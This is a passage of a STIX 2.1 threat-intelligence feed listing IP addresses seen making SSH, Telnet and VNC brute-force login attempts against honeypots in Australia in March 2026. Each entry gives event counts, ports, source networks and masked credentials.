      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): c***d, 3**********4, a*****e, a**f, e*******h. Passwords observed (masked): 1******8, 1****6, ***, 3***********4, 3**********4.",
      "id": "indicator--806b2423-4c6e-4d4e-acbf-e22a31b3a1c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.181.143.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T09:15:03.000Z",
      "valid_until": "2026-04-11T09:15:01.000Z"
    },
    {
      "created": "2026-03-10T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, c***d, 3**********4, a*******t, ***. Passwords observed (masked): 1**4, 1****6, 3***********4, 3**********4, A*******!.",
      "id": "indicator--2aabb827-032b-49bf-bdef-884860f1835c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.226.139.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T09:15:03.000Z",
      "valid_until": "2026-04-11T09:15:01.000Z"
    },
    {
      "created": "2026-03-10T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1******8, a***n, p******d, r**t.",
      "id": "indicator--73da62c9-0c0d-4c88-9787-33b8f19cbdaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '107.170.56.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T09:15:03.000Z",
      "valid_until": "2026-04-11T09:15:01.000Z"
    },
    {
      "created": "2026-03-10T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): 3**********4, c***d, w*****s, a****o, d********r. Passwords observed (masked): 1******8, 1****6, 3***********4, 3**********4, D***********3.",
      "id": "indicator--91ead6c8-b588-42a5-a68f-f3566faf0224",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.79.36.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T09:15:03.000Z",
      "valid_until": "2026-04-11T09:15:01.000Z"
    },
    {
      "created": "2026-03-10T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4c0eb8db-18f7-4e8e-8825-b0dbdb854c9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.127.11.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T09:15:03.000Z",
      "valid_until": "2026-04-11T09:15:01.000Z"
    },
    {
      "created": "2026-03-10T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 9416. Organisation(s): Hoshin Multimedia Center Inc..",
      "id": "indicator--45cc7026-3436-4c60-be7a-e3bb77d2d42e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.235.168.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T09:15:03.000Z",
      "valid_until": "2026-04-11T09:15:01.000Z"
    },
    {
      "created": "2026-03-10T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45775. Organisation(s): WISH NET PRIVATE LIMITED.",
      "id": "indicator--25ba71d4-155b-41b3-bb16-07ffd45c6f28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.124.5.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T09:15:03.000Z",
      "valid_until": "2026-04-11T09:15:01.000Z"
    },
    {
      "created": "2026-03-10T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--e04afefa-0b40-4bd9-8689-cea54bd65481",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.126.16.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T09:15:03.000Z",
      "valid_until": "2026-04-11T09:15:01.000Z"
    },
    {
      "created": "2026-03-10T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--747a0c27-ec09-4158-a76c-a998f37b2f6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.36.247.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T09:15:03.000Z",
      "valid_until": "2026-04-11T09:15:01.000Z"
    },
    {
      "created": "2026-03-10T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 149089. Organisation(s): CLOUDFLY CORPORATION. Usernames observed (masked): ***, *, c*****e, u****u. Passwords observed (masked): 1****6, B**3, R******3, a*****s.",
      "id": "indicator--ee76baf1-eb0b-4bd5-82ee-1499694fa83f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.82.37.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:15:03.000Z",
      "valid_until": "2026-04-11T10:15:01.000Z"
    },
    {
      "created": "2026-03-10T10:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--5abe6e29-3c0b-4e38-9b2c-e438f99aa8bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '114.33.180.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:15:03.000Z",
      "valid_until": "2026-04-11T10:15:01.000Z"
    },
    {
      "created": "2026-03-10T10:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--2501729b-173f-488b-9f1d-e645a5c8fa01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.156.160.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:15:03.000Z",
      "valid_until": "2026-04-11T10:15:01.000Z"
    },
    {
      "created": "2026-03-10T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): a*******r. Passwords observed (masked): 1******8.",
      "id": "indicator--049d4fb4-c2b9-4ef4-9d62-578fb9caa792",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.207.209.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:15:03.000Z",
      "valid_until": "2026-04-11T10:15:01.000Z"
    },
    {
      "created": "2026-03-10T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--754fd9c4-e331-4615-be4b-acc541a6f92b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.68.84.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:15:03.000Z",
      "valid_until": "2026-04-11T10:15:01.000Z"
    },
    {
      "created": "2026-03-10T10:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--44775bb6-5822-4c16-bf24-55014ed15d51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.144.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:15:03.000Z",
      "valid_until": "2026-04-11T10:15:01.000Z"
    },
    {
      "created": "2026-03-10T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--af4afaa6-4303-428c-9ea6-7d9f9d0753d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.89.53.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:15:03.000Z",
      "valid_until": "2026-04-11T10:15:01.000Z"
    },
    {
      "created": "2026-03-10T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--1ca5bc22-c40e-4d2a-859e-151dec4b6d38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.243.71.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:15:03.000Z",
      "valid_until": "2026-04-11T10:15:01.000Z"
    },
    {
      "created": "2026-03-10T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, r**t.",
      "id": "indicator--3c5774b6-def6-4831-98ff-fd67faf758c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.71.67.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:15:03.000Z",
      "valid_until": "2026-04-11T10:15:01.000Z"
    },
    {
      "created": "2026-03-10T10:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 30036. Organisation(s): Mediacom Communications Corp.",
      "id": "indicator--411e5fee-d181-4daf-930e-3e8d9d9b4e55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '173.23.212.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:15:03.000Z",
      "valid_until": "2026-04-11T10:15:01.000Z"
    },
    {
      "created": "2026-03-10T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 134. Sensors involved: Heralding. Target ports: 5900. Source country: SC. ASN(s): 211720. Organisation(s): Datashield, Inc.. Passwords observed (masked): a***a, c*****l, f***s, f****e, p***t.",
      "id": "indicator--4b4af47d-25ac-48fc-8f85-c02be6a2dc4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.231.33.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:15:03.000Z",
      "valid_until": "2026-04-11T10:15:01.000Z"
    },
    {
      "created": "2026-03-10T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--ca982df7-44bb-4b04-a474-fa887ec067f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.53.164.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:15:03.000Z",
      "valid_until": "2026-04-11T10:15:01.000Z"
    },
    {
      "created": "2026-03-10T10:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--108b86c0-b022-4eee-ac7b-81e306eba2a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.62.183.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:15:03.000Z",
      "valid_until": "2026-04-11T10:15:01.000Z"
    },
    {
      "created": "2026-03-10T10:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132754. Organisation(s): Realtel Network Services Pvt Ltd.",
      "id": "indicator--df25bff9-9a94-48b3-bc88-1688f60adccb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.230.106.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:15:03.000Z",
      "valid_until": "2026-04-11T10:15:01.000Z"
    },
    {
      "created": "2026-03-10T10:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137120. Organisation(s): Nas Internet Services Private Limited.",
      "id": "indicator--13d57f43-ab02-49f2-ab3f-37e5ed7fc42b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T10:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.115.176.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T10:15:03.000Z",
      "valid_until": "2026-04-11T10:15:01.000Z"
    },
    {
      "created": "2026-03-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): 3**********4, j*****a, l**e, t*******k, a**r. Passwords observed (masked): 3***********4, 3**********4, 1***5, ***, 1****6.",
      "id": "indicator--abc64f16-b013-419d-b562-07df205ad880",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.220.95.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:15:03.000Z",
      "valid_until": "2026-04-11T11:15:01.000Z"
    },
    {
      "created": "2026-03-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 278. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, j*****a, l**e, r**t, a**r. Passwords observed (masked): 3***********4, 3**********4, 1***5, ***, 1****6.",
      "id": "indicator--29dafb75-ed4e-403f-93a5-1f425ee22fa6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.191.92.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:15:03.000Z",
      "valid_until": "2026-04-11T11:15:01.000Z"
    },
    {
      "created": "2026-03-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 349. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, j*****a, l**e, r**t, t*******k. Passwords observed (masked): 3***********4, 3**********4, 1***5, ***, 1****6.",
      "id": "indicator--c5657608-3cda-493d-8749-4af5b0947bdc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.193.178.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:15:03.000Z",
      "valid_until": "2026-04-11T11:15:01.000Z"
    },
    {
      "created": "2026-03-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--8cd54ffa-f4e6-4179-9bbc-455a371f0f5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:15:03.000Z",
      "valid_until": "2026-04-11T11:15:01.000Z"
    },
    {
      "created": "2026-03-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 349. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 399077. Organisation(s): Tcloudnet. Usernames observed (masked): 3**********4, j*****a, l**e, r**t, t*******k. Passwords observed (masked): 3***********4, 3**********4, 1***5, ***, 1****6.",
      "id": "indicator--9542fc2b-0177-421a-bb3d-9a109ec00f9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.91.90.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:15:03.000Z",
      "valid_until": "2026-04-11T11:15:01.000Z"
    },
    {
      "created": "2026-03-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--0da37bae-51c2-4daa-a388-1d43d2b92138",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.230.189.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:15:03.000Z",
      "valid_until": "2026-04-11T11:15:01.000Z"
    },
    {
      "created": "2026-03-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): 3**********4, a***t, c*****7, c***d, d******r. Passwords observed (masked): 1****6, 3***********4, 3**********4, ***, 1***5.",
      "id": "indicator--113a74b5-084d-492d-a869-fd3ff9213489",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.125.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:15:03.000Z",
      "valid_until": "2026-04-11T11:15:01.000Z"
    },
    {
      "created": "2026-03-10T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--4772bec6-5edc-4e44-bf5f-521c7c664e55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:15:03.000Z",
      "valid_until": "2026-04-11T11:15:01.000Z"
    },
    {
      "created": "2026-03-10T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--f7be53c6-1d7d-407e-b6c4-98ddbba239d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.38.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:15:03.000Z",
      "valid_until": "2026-04-11T11:15:01.000Z"
    },
    {
      "created": "2026-03-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--581d9d40-f818-4ea8-9c7d-00654025e018",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:15:03.000Z",
      "valid_until": "2026-04-11T11:15:01.000Z"
    },
    {
      "created": "2026-03-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): c*****7, 3**********4, a***t, c***d, d******r. Passwords observed (masked): 1****6, ***, 1***5, 1******8, 3***********4.",
      "id": "indicator--42ab7cb5-9f4a-4d15-b5fc-99295e4a8280",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.225.229.63']",
